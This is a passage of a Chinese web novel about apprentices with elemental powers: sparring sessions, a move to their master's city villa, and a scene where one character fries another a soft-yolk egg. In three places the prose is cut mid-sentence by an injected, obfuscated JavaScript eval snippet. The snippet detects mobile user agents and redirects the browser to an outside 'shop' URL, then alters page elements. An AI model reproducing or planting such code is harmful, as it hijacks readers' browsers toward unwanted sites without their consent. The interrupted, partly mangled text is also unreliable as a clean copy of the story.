“就这?”顾肆收回手,风墙散去,“陆师弟,你这雷光分化数量是上去了,威力可没跟上。分散攻击,每道剑气的威力就弱了。对付杂鱼还行,对付高手,跟挠痒痒似的。” “你——”陆时忆咬牙,惊蛰雷光大盛,这次他不再分散,将所有雷系能量凝聚成一道,全力劈出。 雷光剑气呼啸而去,所过之处地面焦黑。顾肆这次动了,他侧身,那道剑气擦着他胸口飞过,劈在后面的木桩上,木桩瞬间炸成碎片。 “这才像点样。” “不过还是慢。雷系讲究快,你出剑前摇太长,够我杀你三回了。” “你——” “不服?再来。” 陆时忆被激起了火气,惊蛰连挥,一道道雷光剑气劈向顾肆。顾肆不闪不避,只是抬手,一道道风刃迎上去,在空中炸开一团团电光。训练场上噼里啪啦响个不停,尘土飞扬。 打了十几分钟,陆时忆累得直喘气,异能快见底了。顾肆却跟没事人似的,连汗都没出。他抬手一挥,一道比之前大了三倍的风刃劈出,陆时忆慌忙举剑格挡,被震得倒退好几步。 “不打了!”陆时忆收剑,喘着粗气,“你他妈开挂了吧?这才几天?你风系异能就恢复成这样了?” 顾肆耸耸肩:“天赋好,没办法。” 陆时忆想骂人。 这时,其他人也过来了。江淮年刚才在远处看得清楚,顾肆那手风刃操控,精准得吓人。每一道风刃的威力、角度、速度,都恰到好处,既能挡住陆时忆的剑气,又不浪费多余的能量。这种控制力,没个十年八年练不出来。 可顾肆才回来三天。 “你真恢复全盛期了?”江淮年忍不住问。 “差不多吧。”顾肆活动了下手腕,“还差一点,但够用了。” 江妤在训练场外看着,小声对沈言说:“他好强。” 沈言黑着脸,没接话。他当然知道顾肆强,不然当初也不会被占了身体。可亲眼看见顾肆这么轻松就压制了陆时忆,心里还是有点不是滋味。 这家伙,真是天才得让人火大。 从那天起,静园其他人算是彻底信了萧予的话。顾肆就是那种老天爷追着喂饭吃的类型,死了都能活过来,活过来几天就能恢复实力,简直没天理。 最恨天赋狗。这已成为静园这群人的共识。尤其陆时忆。 但恨归恨,该练还得练。 被顾肆刺激了之后,几个人训练更拼命了。陆时忆每天天不亮就起来练剑,惊蛰剑诀第七式雷暴已经摸到门槛了。 沈言的灵魂基本恢复了,混合系异能重新掌握。有顾肆整天在旁边叨叨,他虽然烦,但不得不承认,顾肆说的有些话确实有用。 比如火和雷融合,能产生爆裂效果,土和木融合,能增强控制和防御。他试着练了几天,还真摸出点门道。 这天下午,沈言在训练场练混合系。他掌心凝聚出一团能量球,五颜六色的交织着,缓缓旋转。他试着将火和雷融合,能量球表面泛起红白相间的电光,噼啪作响。 “错了。”顾肆的声音从旁边传来。 沈言手一抖,能量球差点炸了。他瞪向顾肆:“你走路没声啊?” “是你太专注。”顾肆走过来,看着沈言手里的能量球,“融合不是把两种能量搓一起就完事了。你得让它们共振,频率一致,才能产生一加一大于二的效果。” “怎么共振?” “感受啊。” “火系能量躁动,雷系能量狂暴,但躁动和狂暴有共通点。找到那个点,让它们同步,自然就融合了。” 沈言听得一头雾水:“说人话。” “啧,笨。”顾肆伸手,“手给我。” “干嘛?” “教你啊。” 沈言犹豫了一下,还是把手递过去。 顾肆握住他的手腕,另一只手覆在沈言掌心上方。风系能量流转,轻轻包裹住那团能量球。 沈言身体一僵。 顾肆的手很凉,掌心有层薄茧,磨得他手腕有点痒。他下意识想抽手,顾肆握紧了。 “别动,感受。” 顾肆的声音很近,呼吸几乎喷在沈言耳边。沈言耳根子有点热,但强迫自己集中精神。他感觉到顾肆的风系能量像一层薄膜,裹住了他的混合能量球。那层薄膜在微微震动,频率很特殊,像在引导什么。 渐渐地,他掌心那团能量球开始发生变化。两色光芒越来越亮,彼此交织,最后融成一种奇异的颜色,表面跳动着细碎的电弧。能量球像一颗缩小版的太阳,散发着炽热和狂暴的气息。 “感觉到了吗?” “……嗯。” “记住这个频率。共振点就在这儿。”顾肆松开手,退后一步,“你自己试试。” 沈言盯着掌心那颗能量球,心里有点震撼。他练了这么久混合系,第一次感觉到融合不是简单的拼凑,而是真正的能量层面的共鸣。 他试着撤掉顾肆的风系能量,自己维持那种共振。能量球颤了颤,但没散,光芒稳定下来。他抬手,将能量球掷向训练场边的一块石头。 “轰!” 石头直接炸成粉末。 炸开的冲击波带着高温和电光,把周围的地面都烤焦了。 沈言看着那堆粉末,半天没说话。 “怎么样?”顾肆挑眉,“师哥教得不错吧?” 沈言回过神,瞥了他一眼:“还行。” “就还行?” “不然呢?” “叫声师哥,我再教你点别的。” “滚。” 沈言转身就走,但嘴角忍不住往上弯了弯。这家伙,虽然讨厌,但确实有点本事。 顾肆看着沈言的背影,眼里闪过一抹笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128820|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。这小子,嘴硬,但学得快。有点意思。 接下来的日子,静园的氛围有点微妙。顾肆还是整天围着沈言转,逮着机会就逗他,非要沈言叫他师哥。沈言死活不叫,两人见面就吵,吵急眼了就动手。 陆时忆对顾肆一方面恨得牙痒痒,觉得这天赋狗开挂。 另一方面,他又不得不承认,顾肆有时候随口提的点拨,真能让他茅塞顿开。 比如惊蛰剑诀第七式“雷暴”,他卡了快一个星期,顾肆看了两眼,说“你雷系能量压缩不够,爆发力不足”,然后手把手教的他。他试了试,还真突破了。 但承认是不可能承认的。陆时忆每次被顾肆指点完,都要嘴硬两句,然后偷偷加练。 江淮年倒是看得开。他觉得顾肆这人虽然欠,但本事是真有。而且顾肆回来后,静园热闹多了,训练也有劲了。有这么一个天才师兄在前面顶着,他们这些师弟要是不努力,岂不是太丢人了? 所以江淮年练得更狠了。冰火融合现在已经能做到瞬发,威力还不减。裴衍还是老样子,懒洋洋的,但训练一点没落下。 宋听澜忙着研究顾肆的“复活”原理。他觉得顾肆能从魂飞魄散中恢复实体,肯定有什么特殊的能量机制。 他整天拿着各种仪器在顾肆周围测,测能量波动,测生命体征,测异能强度。顾肆被他测烦了,说“宋师弟,你再测我收费了”,宋听澜笑眯眯地回“师兄配合一下,这是为科学做贡献”。 江妤对顾肆的态度比较平淡。她不讨厌顾肆,但也不亲近。顾肆有时候会逗她,叫她“师妹”,江妤就应一声师兄,然后该干嘛干嘛。有次顾肆说想尝尝她做的饭,江妤给他盛了碗粥,顾肆喝了,说“不错,比师父做的好吃”,江妤点点头,没说话。 这天晚饭后,几个人在院子里闲坐。顾肆坐在石凳上,翘着二郎腿,手里拿着个苹果啃。沈言坐在他对面,低头看一本古籍。陆时忆在擦剑,江淮年在逗蚂蚁,裴衍在打瞌睡,时聿在磨刀,宋听澜在记笔记,江妤在缝衣服。 夕阳把院子染成橘红色,暖洋洋的。 顾肆啃完苹果,把核一扔,看向沈言:“哎,沈言。” 沈言头也不抬:“干嘛?” “你多大了?” 沈言手一顿,抬头瞪他:“要你管?你不是早知道了?” “你不也没承认吗?还有,师哥关心师弟,天经地义。” “谁是你师弟。” “你啊。” 沈言懒得理他,低头继续看书。顾肆不依不饶:“到底多大?十八?成没成年?” “就是十七。”沈言没好气。 “果然。”顾肆拉长声音,“未成年小孩。” 沈言啪地合上书:“顾肆你找打是不是?”他抓起书砸过去。顾肆伸手接住,看了一眼封面:“《异能基础理论》?你看这玩意儿干嘛?基础的东西,我教你啊。” “用不着。”沈言站起来,伸手,“书还我。” “叫声师哥就还你。” “顾肆!” “师——哥——” “滚!” 陆时忆在旁边看得直乐,小声对江淮年说:“这俩真是,一天不吵浑身难受。” 江淮年点头:“绝配。” 吵了一会儿,顾肆把书扔回给沈言。 沈言接住,狠狠瞪了他一眼,转身回屋。 顾肆看着他的背影,笑了笑,起身也回了自己房间。 院子里安静下来。夕阳彻底沉下去了,天边只剩一抹暗红。 剩下几个人也各自回屋。 陆时忆躺在床上,抱着惊蛰,看着天花板。窗外传来隐约的风声,大概是顾肆在房间里练习异能,很轻,很稳,不像之前那股妖风那么狂躁。 陆时忆想着,闭上眼睛,睡了。 28.师父到底多有钱?! 日子一天天过去,好像按了加速键。几人的训练也都有了突破,连顾肆都说,这帮小子进步挺快。 然后萧予就宣布了一个消息:搬家。 那天早上,大家刚吃完早饭,萧予放下筷子,说:“收拾东西,下午搬家。” 一桌子人全愣住了。 “搬……搬家?”陆时忆筷子掉桌上,“搬哪儿去?” “城里。” “城里?”江淮年瞪大眼睛,“师父,咱们在城里……有地方住?” “嗯。”萧予点头,“我早年置办的产业,一直空着。现在你们实力够了,也该出去见见世面了。” 几个人面面相觑。他们在静园住了好几年,早把这儿当家了。突然说要搬,一时半会儿有点反应不过来, “师父,”宋听澜问,“城里安全吗?咱们这么多人……” “安全,那地方有结界,普通异能者进不来。而且……”他看了顾肆一眼,“有他在,出不了乱子。” 顾肆正在啃包子,听见这话,抬头:“师父您这是把我当看门狗了?” “能者多劳。”萧予面不改色。 顾肆“啧”了一声,没反驳。 于是吃完饭,大家开始收拾东西。 其实也没什么好收拾的,就是些衣服、日常用品、兵器、药材。静园的东西大多带不走,锅碗瓢盆、桌椅板凳都得留下。 江妤有点舍不得她种的菜,蹲在菜地边看了好久。陆时忆安慰她:“城里也能种,阳台种。” “阳台能种这么多吗?”江妤看着那片绿油油的菜地。 “呃……种少点?” 最后江妤摘了些能带走的菜,剩下的只能留下了。 下午,两辆黑色越野车开到了静园门口。开车的是两个穿黑西装的中年人,见到萧予,恭恭敬敬地叫“萧老”。几个人把行李搬上车,最后看了一眼静园,上车走了。 车开了三个多小时,越往城里开,楼越高,车越多,人越密。 江淮年趴在车窗上往外看,眼睛都不够用了。他从小在旧书店长大,后来去了静园,没怎么进过城。 陆时忆和沈言也差不多,两人看得目不转睛。 顾肆靠在座椅上睡觉,好像对城里一点都不感兴趣。 车开进一个高档小区,门口有保安站岗,看见车牌就放行了。小区里很安静,绿化很好,一栋栋别墅掩在树丛里。 车停在一栋别墅前,白墙灰瓦,带个小花园。 几个人下车,看着眼前的别墅,半天没说话。 “这……这是咱们家?”陆时忆结结巴巴地问。 “嗯。”萧予点头,掏出钥匙开门。 门开了,里面是宽敞的客厅,家具电器一应俱全,全是新的。客厅连着开放式厨房,厨具铮亮。楼梯通往上楼,能看见二楼走廊。 “我靠……”江淮年张着嘴,“师父,这得多少钱啊?” “早年买的,没花多少。” “没花多少是多少?”陆时忆追问。 萧予报了个数。 几个人倒吸一口凉气。那数字,够在静园那种地方买十个院子了。 “师父您这么有钱?!”江淮年眼睛都直了。 “年纪这么大了,总得有点积蓄。”萧予说,“楼上房间自己挑,一人一间。顾肆住三楼,我住一楼。收拾好了下来吃饭。” 说完,萧予进了自己房间,留下几个人站在客厅里面面相觑。 顾肆第一个动,拎着包上楼:“那三楼我包了,你们别上来。” “凭什么?” “哦,师父说的,当然也是因为我高。”顾肆头也不回。 陆时忆噎住。 顾肆确实高,但他也不矮啊!一八八呢! 沈言没理他们,拎着包上了二楼,挑了间朝南的房间。房间很大,带独立卫浴,衣柜书桌一应俱全。他推开窗,能看见小区的绿化带,远处是城里的高楼。 有点不真实。沈言想。 前几天还在静园那个破院子里练功,今天就住进别墅了。师父到底藏了多少事? 江淮年挑了沈言隔壁,陆时忆挑了对面,裴衍和时聿挑了走廊尽头两间,宋听澜挑了楼梯口那间,说是方便下楼。江妤挑了间朝东的,说早上阳光好。 房间分完,大家开始收拾东西。但没啥好收拾的,就是把衣服挂进衣柜,日用品摆好,兵器放好。顾肆在三楼,没人敢上去,估计在睡觉。 收拾完,大家下楼。萧予已经坐在客厅沙发上了,茶几上摆着几本册子。 “这是小区的介绍,这是周边的地图,这是注意事项。” “城里不比静园,规矩多。出门注意着点,别惹事。异能尽量别在外面用,要用也隐蔽点。顾肆,你盯着点他们。” 顾肆从楼梯上走下来,打了个哈欠:“知道了,保姆嘛。” 萧予瞥了他一眼,没说话。 晚上,萧予叫了外卖。一桌子菜,鸡鸭鱼肉全有,摆了满满一桌。几个人围坐在餐桌边,吃得满嘴流油。城里的菜和静园不一样,味道重,油大,但好吃。陆时忆连吃了三碗饭,撑得直打嗝。 “师父,”江淮年边啃鸡腿边问,“咱们以后就住这儿了?” “嗯。”萧予点头,“静园留着,偶尔回去。平时就住这儿。城里方便,训练设施也全。小区里有健身房、游泳池,后面有片空地,你们可以在那儿练功。” “训练设施?”陆时忆眼睛一亮,“有练剑的地方吗?” “有,但得预约。” “那明天就去!” “急什么。”萧予说,“先熟悉熟悉环境。明天带你们出去转转,买点日用品。衣服鞋子也买新的,别整天穿训练服。” “买新的?”陆时忆看看自己身上洗得发白的训练服,“我有钱吗?” “我有。” “明天给你们一人一张卡,额度够用。别乱花,但也别省着。该买什么买什么。” 几个人互相看看,都觉得像在做梦。 早上还在静园那个破院子里,晚上就住进别墅,还有卡花了。 师父到底多有钱? 吃完饭,大家回房间休息。沈言洗完澡,躺在床上,盯着天花板。 床很软,被子很轻,房间隔音很好,听不见外面一点声音。太安静了,反而有点睡不着。 他翻了个身,拿起手机,屏幕亮起,时间是晚上十点。他点开通讯录,里面只有几个人的号码:师父、顾肆、陆时忆、江淮年、裴衍、时聿、宋听澜、江妤。 他盯着“顾肆”那两个字看了几秒,手指动了动,最后还是没拨出去。 算了,睡觉。 第二天一早,萧予就带他们出门了。 先去商场买衣服。萧予大手一挥,让他们自己挑。 陆时忆和江淮年像撒欢的狗,一头扎进运动装区。裴衍挑了简单的T恤长裤,时聿也差不多。宋听澜选了偏正式的衣服,说是出门用得上。江妤在女装区转了半天,最后挑了条淡蓝色的裙子,和几件日常衣服。 沈言对衣服没太大兴趣,随便拿了几件。顾肆直接坐在休息区玩手机,一件没买。 萧予问他要不要,他说“懒得挑,师父你看着办”。 买完衣服,又去买日用品。毛巾牙刷洗发水,锅碗瓢盆油盐酱醋,看见什么买什么,反正萧予刷卡。陆时忆第一次体会到了什么叫“有钱就是任性”,看中什么拿什么,都不用看价格。 中午在外面吃饭,萧予带他们去了家高级餐厅。环境优雅,服务周到,菜精致得跟艺术品似的。陆时忆看着菜单上的价格,手有点抖。一道菜够他在静园吃一个月了。 “师父,”他小声说,“这太贵了吧?” “吃你的。” 菜上来了,摆盘精美,味道也确实好。陆时忆吃了几口,觉得这钱花得可太值了。 吃完饭,萧予又带他们去超市,买了零食饮料水果,把后备箱塞得满满的。 回到别墅,大家把东西搬进屋,开始布置。 陆时忆和江淮年在客厅打游戏,裴衍和时聿在健身房熟悉器材。宋听澜在厨房研究新买的厨具。江妤在阳台看能不能种菜。沈言在房间看书。 顾肆在三楼睡觉。 行,顾肆是继裴衍之后又一位睡神。 萧予在书房处理事情,说是处理“产业”。 晚上,宋听澜用新厨具做了顿饭,味道比静园时更好了。 大家围坐在餐桌边,边吃边聊。顾肆正安心吃饭呢,烦的不行:“吵死了,能不能安静吃饭。” 大家这才闭嘴。 吃完饭,大家各干各的。九点多,萧予从书房出来,说:“明天开始,训练照旧。早上六点,小区后面空地集合。迟到的,加练。” “是!”几个人齐声应道。 第二天早上六点,大家准时在小区后面的空地集合。空地周围有树挡着,隐蔽。萧予让顾肆盯着,自己回去了。 顾肆站在空地上,看着眼前的师弟师妹,挑了挑眉:“老规矩,先热身。围着小区跑十圈。” “十圈?!”陆时忆瞪眼,“这小区一圈得有一公里吧?” “差不多。”顾肆说,“跑不完的,中午没饭吃。开始。” 几个人哀嚎一声,开始跑。 顾肆不跑,就站在那儿看,偶尔看见谁慢了还得叭叭几句,欠的很。 十圈跑完,几个人累成狗。陆时忆瘫在地上喘气,江淮年扶着树,沈言脸色发白,裴衍和时聿还好,宋听澜在擦汗,江妤在喝水。 “这就累了?”顾肆嗤笑,“城里日子过得太舒服,退步了?” “你……你站着说话不腰疼……”陆时忆喘着气说。 “我腰不疼。” “休息五分钟,开始对练。陆时忆对江淮年,裴衍对时聿,宋听澜对江妤,沈言……你跟我练。” 沈言刚喝进去的水差点喷出来:“为什么我跟你练?” “因为你是混合系,我风系,属性不克,正好。” “而且你进步最快,得多练。” 沈言想骂人,但想想打不过,忍了。 对练开始。陆时忆和江淮年打得最热闹,雷光冰火乱飞,好在顾肆提前布了风墙,没波及周围。 对沈言,顾肆一点不留手,风刃一道接一道,又快又狠。沈言拼尽全力,元素攻击轮番上阵,但就是打不过。 顾肆像在逗他玩,每次都差一点能打中,但就是打不中。 打了半小时,沈言累得快虚脱了,顾肆连汗都没出。 “不打了!”沈言收手,喘着粗气。 “这就累了?”顾肆挑眉,“师哥我还没热身呢。” “你——”沈言咬牙,“再来!” 又打了十分钟,沈言终于撑不住了,一屁股坐在地上。 顾肆走过去,伸手拉他。 沈言不想起来,但顾肆手劲大,硬把他拽起来了。 “进步不小。混合系切换流畅多了,攻击也有章法了。就是耐力差点,得练。” “用你说。”沈言没好气。 “叫师哥就不说你了。” “滚。” 顾肆笑了笑,没再逗他。 练到八点,结束。 大家回别墅,洗澡吃饭。 宋听澜做了早饭,煎蛋面包牛奶,简单但好吃。 吃完饭,大家各干各的。萧予说白天自由活动,晚上再练。 陆时忆和江淮年又去打游戏,裴衍和时聿去健身房,宋听澜在客厅看书,江妤在阳台种菜,沈言回房间。顾肆这次没回屋,他在客厅沙发上睡觉。 日子就这么过。早上训练,白天自由,晚上有时候对练,有时候休息。 城里生活方便,要什么有什么,几个人很快适应了。 顾肆还是老样子,睡觉,吃饭,训练时当陪练兼教练,闲了逗沈言。 沈言被他逗得天天炸毛,但又打不过,只能忍。有次沈言忍无可忍,混合系全开,跟顾肆打了一架,把客厅砸了一半。萧予没骂他们,只是让顾肆赔。 顾肆赔了钱,转头就找沈言要:“师弟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132160|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师哥钱花完了,借点?” “不借!” “不借就不借,这么大火气干什么。” “滚!” 这天晚上,几个人在客厅看电视。 新闻在播,说最近城里出了几起怪事,有人的宠物突然变异,有地方无缘无故起火,但都没查出原因。专家说是天气异常,让市民注意安全。 “天气异常?”陆时忆皱眉,“不会又是影仆吧?” “不像。”宋听澜说,“影仆作案有规律,这些事太散,没联系。” “那是什么?” “不知道。”宋听澜摇头,“但总觉得不对劲。师父,您觉得呢?” 萧予在看报纸,头也不抬:“该来的总会来。等着看吧。” 大家不说话了。 顾肆靠在沙发上,闭着眼睛,好像睡着了。 夜深了,沈言躺在床上,想着新闻里的事,睡不着。 他拿出手机,点开通讯录,盯着“顾肆”那两个字看了半天。 手指悬在拨号键上,又放下,又悬上去。客厅里的电视声隐约还能听见,其他人应该还没睡。 妈的,打就打。 他按了拨号键。 听筒里传来“嘟——嘟——”的声音,每一声都敲在他神经上。 电话响了几声,就在沈言以为顾肆不会接准备挂掉的时候,接通了。 “喂?”顾肆的声音从听筒里传出来,有点不耐烦,“沈言?大半夜的,有事?” 沈言喉结动了动,一下子不知道说什么。他打这个电话几乎是一时冲动,根本没想好要说什么。 “说话。”顾肆催了一句,背景音里有窸窸窣窣的声音,像是在翻身。 “……你今天晚上,吃饭的时候,”沈言开口,声音有点干,“你看新闻了没有。” “看了。”顾肆回答得很快,“宠物变异,无故起火。怎么?” “你觉得是什么?” 电话那头沉默了几秒,然后顾肆嗤笑一声:“就为这个?大半夜打电话吵我睡觉?” “不然呢?”沈言有点恼火,“你觉得我找你聊天气?” “啧。”顾肆似乎坐起来了,声音清晰了点,“那些事,不像影仆干的。影仆那帮没脑子的东西,干不出这么零碎又没规律的活儿。” “那像什么?” “试探。小打小闹,东一榔头西一棒子,看看反应。要是没人管,就慢慢搞大的。要是有人管,就缩回去,换个地方再来。” 沈言心里一沉:“你是说,有人在试探城里的防御?” “不然呢?”顾肆反问,“真要是天气异常或者普通异能者搞事,会这么没头没尾?还上新闻?巴不得藏起来。” “那你觉得是谁?顾肆,你以前……听说过类似的事吗?” 顾肆又沉默了一会儿。这次沉默的时间更长,沈言能听见他那边轻微的呼吸声。 “听说过一点。”顾肆终于开口,声音压低了,“不是影仆,也不是我这种疯子。他们应该是有组织的,躲在暗处,一点点渗透。不动大目标,专挑不起眼的地方下手,宠物,小火灾,失踪的流浪汉……不引人注意,但累积起来,也能造成恐慌。” “他们的目的是什么?” “谁知道。”顾肆语气又恢复了那种懒洋洋的调子,“统治世界?毁灭人类?或者就是单纯觉得好玩。这世界上疯子多了去了,不差这一拨。” “你觉得师父知道吗?” “老头子精着呢,他能不知道?”顾肆笑了一声,“他不说,是觉得还没到时候。或者,他觉得我们能处理。” “我们?”沈言皱眉,“你,我,陆时忆他们?” “不然呢?这屋里还有别人?” 沈言没说话。他脑子里闪过新闻画面,那些变异的宠物,那些烧毁的角落。如果真是有组织的试探,那接下来会发生什么? “喂,沈言。”顾肆的声音把他拉回来,“怕了?” “谁怕了。”沈言立刻反驳。 “不怕你大半夜打电话问我这个?”顾肆的声音里带着点戏谑,“担心师兄就直说,师哥罩你。” “滚。”沈言骂了一句,但心里那股莫名的焦躁好像平复了一点,“我就是觉得不对劲。师父把我们搬到城里,是不是早就料到会有事?” “十有八九。” “静园那地方太偏,真要出大事,来不及反应。城里人多眼杂,但消息也灵通。而且……”他顿了顿,“我估计老头子在这城里还有点别的关系网,没跟咱们说。” 沈言想起萧予在城里的房产和公司。师父确实藏得深。 “那我们现在怎么办?”沈言问,“干等着?” “不然呢?你想现在冲出去满大街找那些搞事的?”顾肆打了个哈欠,“睡觉吧,沈师弟。该来的躲不掉,真有动静,老头子比咱们急。再说了……” 他顿了顿,声音里带上一丝沈言熟悉的欠揍笑意。 “不是还有师哥我吗?” 沈言握着手机,一时不知道该接什么话。顾肆这话听起来像是玩笑,但又有点像认真的。 “……谁要你罩。”他最后嘟囔了一句。 “不要拉倒。我挂了,困死了。” “等等。”沈言叫住他。 “又干嘛?” 沈言抿了抿嘴,半天憋出一句:“……谢了。” 电话那头安静了两秒,然后顾肆笑出声。 “谢什么谢,矫情。真想谢,明天早饭给我煎个蛋,要溏心的。” “……你自己不会煎?” “不会。师哥我就想吃师弟煎的蛋。” “你想得美。” “那就饿着。挂了。” “嘟嘟嘟——” 电话被挂断了。沈言看着暗下去的屏幕,愣了几秒,然后骂了一句“有病”,把手机扔到一边。 窗外,城市的灯火依旧明亮。远处隐约传来警笛声,很快又消失了。 沈言闭上眼睛。 明天,给那混蛋煎个蛋吧。 29.溏心蛋 第二天早上六点,沈言准时醒了。 他躺在床上盯着天花板发了会儿呆,昨晚那通电话的内容在脑子里过了一遍。 顾肆那家伙说想吃溏心蛋,语气吊儿郎当的,多半是随口逗他。 按理说他不用当真。但沈言还是起来了。 他轻手轻脚地下了楼。客厅里空荡荡的,其他人估计还没醒。厨房里很安静,只有冰箱发出低低的嗡鸣。 沈言站在厨房中央,看着那些铮亮的厨具,有点无从下手。 他在静园的时候基本没进过厨房,饭要么是江妤做,要么是宋听澜做,最不济也是陆时忆瞎捣鼓出来的。 煎蛋……他好像见江妤煎过。 他打开冰箱,里面整齐码着鸡蛋,拿了两个出来,又看了看旁边的油瓶和盐罐。 锅呢? 他扫视一圈,目光落在灶台上那排平底锅上。 选了个看起来最顺眼的,沈言把锅放到灶上,开火。 蓝色的火苗“噗”地窜起来,他下意识往后仰了仰。 等锅热了,他回忆着江妤的动作,往里倒油。 油倒多了。 金黄透亮的液体在锅底聚了一小滩。 沈言皱了皱眉,想倒掉点,又不知道倒哪儿,算了。 他拿起一个鸡蛋,在锅沿上磕了一下。 力道没掌握好,蛋壳裂了条缝,蛋液从裂缝里渗出来,黏糊糊地沾在手上。 沈言抿着嘴,用另一只手去掰蛋壳。 “咔啦。” 蛋壳碎得更厉害了,几片碎壳掉进锅里,和油混在一起。 蛋液倒是成功流进了锅里,但蛋黄和蛋白分得有点开,中间还飘着点蛋壳碎。 沈言盯着锅里那摊形状不规则还带着壳的东西,眉头拧紧了。 他把火调小了点,看着蛋白边缘慢慢凝固变白。 溏心蛋…… 蛋黄不能全熟,得是流动的……? 沈言用锅铲小心翼翼地戳了戳蛋黄表面,感觉还有点软。 他想起江妤好像说过,煎蛋得盖盖子焖一下。 他四处看了看,没找到合适的锅盖。 正好旁边有个大盘子,他拿过来,不太确定地扣在锅上。 等了大概一分钟,他试探着掀开盘子。 没掀开。 沈言:“……” 沈言小心翼翼用手扣盘子的边缘,一下一下终于掀起来了。 锅里那蛋已经定型了,边缘微焦,蛋白全白了,蛋黄看起来好像也凝固了。 他用锅铲铲起来,蛋黄颤巍巍的,没破,但怎么看都不像能流动的样子。 失败。 沈言面无表情地把这个煎蛋铲到盘子里,放在一边。 看了看锅里残留的油和蛋壳碎,他顺手拿起厨房纸擦了擦锅。 第二个。 这次他磕蛋小心了些,在锅沿轻轻一碰,两手一掰,蛋液完整地滑进锅里。 嗯。完美。我果然有天赋。沈言如是想。 “滋啦”一声,油花溅起来几点,烫到他手背上,他“嘶”地缩回手,甩了甩。 沈言盯着锅里的蛋。 这回形状圆了点,蛋白均匀地铺开,蛋黄稳稳坐在中间。 火候好像也对了,蛋白边缘泛起漂亮的焦黄色。 关键在蛋黄。 沈言盯着那橙黄色的圆心,心里估算着时间。不能太久,久了就全熟了。 也不能太短,蛋白没凝固也不行。 他拿起盐罐,犹豫了一下,撒了点盐在蛋白上。 又等了大概二十秒,他试探性地用锅铲边缘碰了碰蛋黄。 表面已经结了一层薄薄的膜,但底下应该还是软的。 他关火,把蛋铲起来,迅速装盘。 蛋黄在铲子上晃了晃,没破。 沈言把它端到餐桌上,凑近了看。 蛋白煎得不错,边缘焦黄酥脆的样子。 蛋黄看起来…… 他拿起叉子,轻轻戳了一下蛋黄顶部。 橙金色的蛋液缓缓流了出来,浓稠,温热,正好。 成功了。 沈言看着盘子里那个勉强算合格的溏心蛋,心里莫名松了口气。 他转身想去洗锅,一抬头,看见顾肆靠在厨房门框上,不知站了多久。 顾肆穿着件黑色T恤,头发睡得有点乱,几缕深绿色的发丝翘着。 他抱着胳膊,视线落在沈言脸上,又滑到灶台上那个失败的煎蛋,最后停在餐桌盘子里那个成功的上。 “哟,真煎了?” 沈言耳朵有点热,但脸上没什么表情:“闲得慌,煎着玩。” 顾肆慢悠悠地走过来,路过灶台时瞥了一眼那个失败品,嘴角往上弯了弯。 他走到餐桌边,低头看了看盘子里那个溏心蛋,又抬头看沈言:“给我的?” “……你要不要?”沈言语气硬邦邦的。 “要啊。”顾肆拉开椅子坐下,一点不客气。 他拿起叉子,先戳了戳蛋黄,看着蛋液流出来,然后切下一块沾满蛋液的蛋白,送进嘴里。 沈言站在旁边,装作收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133992|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灶台,余光却在瞟顾肆的反应。 顾肆嚼了几下,咽下去,又切了一块。他没说话,几口就把那个蛋解决完了。 吃完,他放下叉子,抽了张纸巾擦嘴。 “还行。”顾肆抬眼看向沈言,“就是盐撒少了点,淡。” 沈言绷着脸:“嫌淡自己加。” “下次记得多放点。”顾肆站起来,把盘子拿到水池边,拧开水龙头冲洗,“不过蛋黄火候不错,正好流动。第一次煎?” “嗯。” “可以啊沈师弟。”顾肆把洗好的盘子放进沥水架,转过身,靠在料理台边看着沈言,“我以为你这种少爷脾气,十指不沾阳春水呢。” “谁少爷脾气?”沈言瞪他。 “你啊。” “整天冷着张脸,事儿多,难伺候。” “顾肆你——” “不过,”顾肆打断他,眼神在沈言沾了点油渍的袖口和手背上那个微红的油点停了停,“会煎溏心蛋,勉强加分。” “……谁管你加不加分!” 沈言被他看得不自在,转身去收拾那个失败的煎蛋。 他刚拿起盘子,顾肆忽然伸手,把他手里那个焦黑带壳的失败品拿了过去。 “这个我也尝尝。” “那个糊了。”沈言皱眉。 “糊了也是蛋。”顾肆用叉子扒拉了一下,挑出几片蛋壳,然后切了块勉强能看的蛋白塞进嘴里。 他嚼了两下,眉头都没皱,咽下去了。 “……不嫌难吃?”沈言问。 “难吃。”顾肆放下叉子,“但浪费粮食不好。师哥教你,下次磕蛋轻点,油别放太多,火候看准了再翻。你这第一个,火太大,壳都进去了。” 沈言听着,没反驳。顾肆把那个失败品的盘子也洗了,放好。他甩了甩手上的水,看向沈言:“谢了,师弟。” 沈言别过脸:“……煎个蛋而已。” “嗯,煎个蛋而已。”顾肆重复他的话,语气里带着点笑意,“所以明天还煎吗?” “你想得美。” 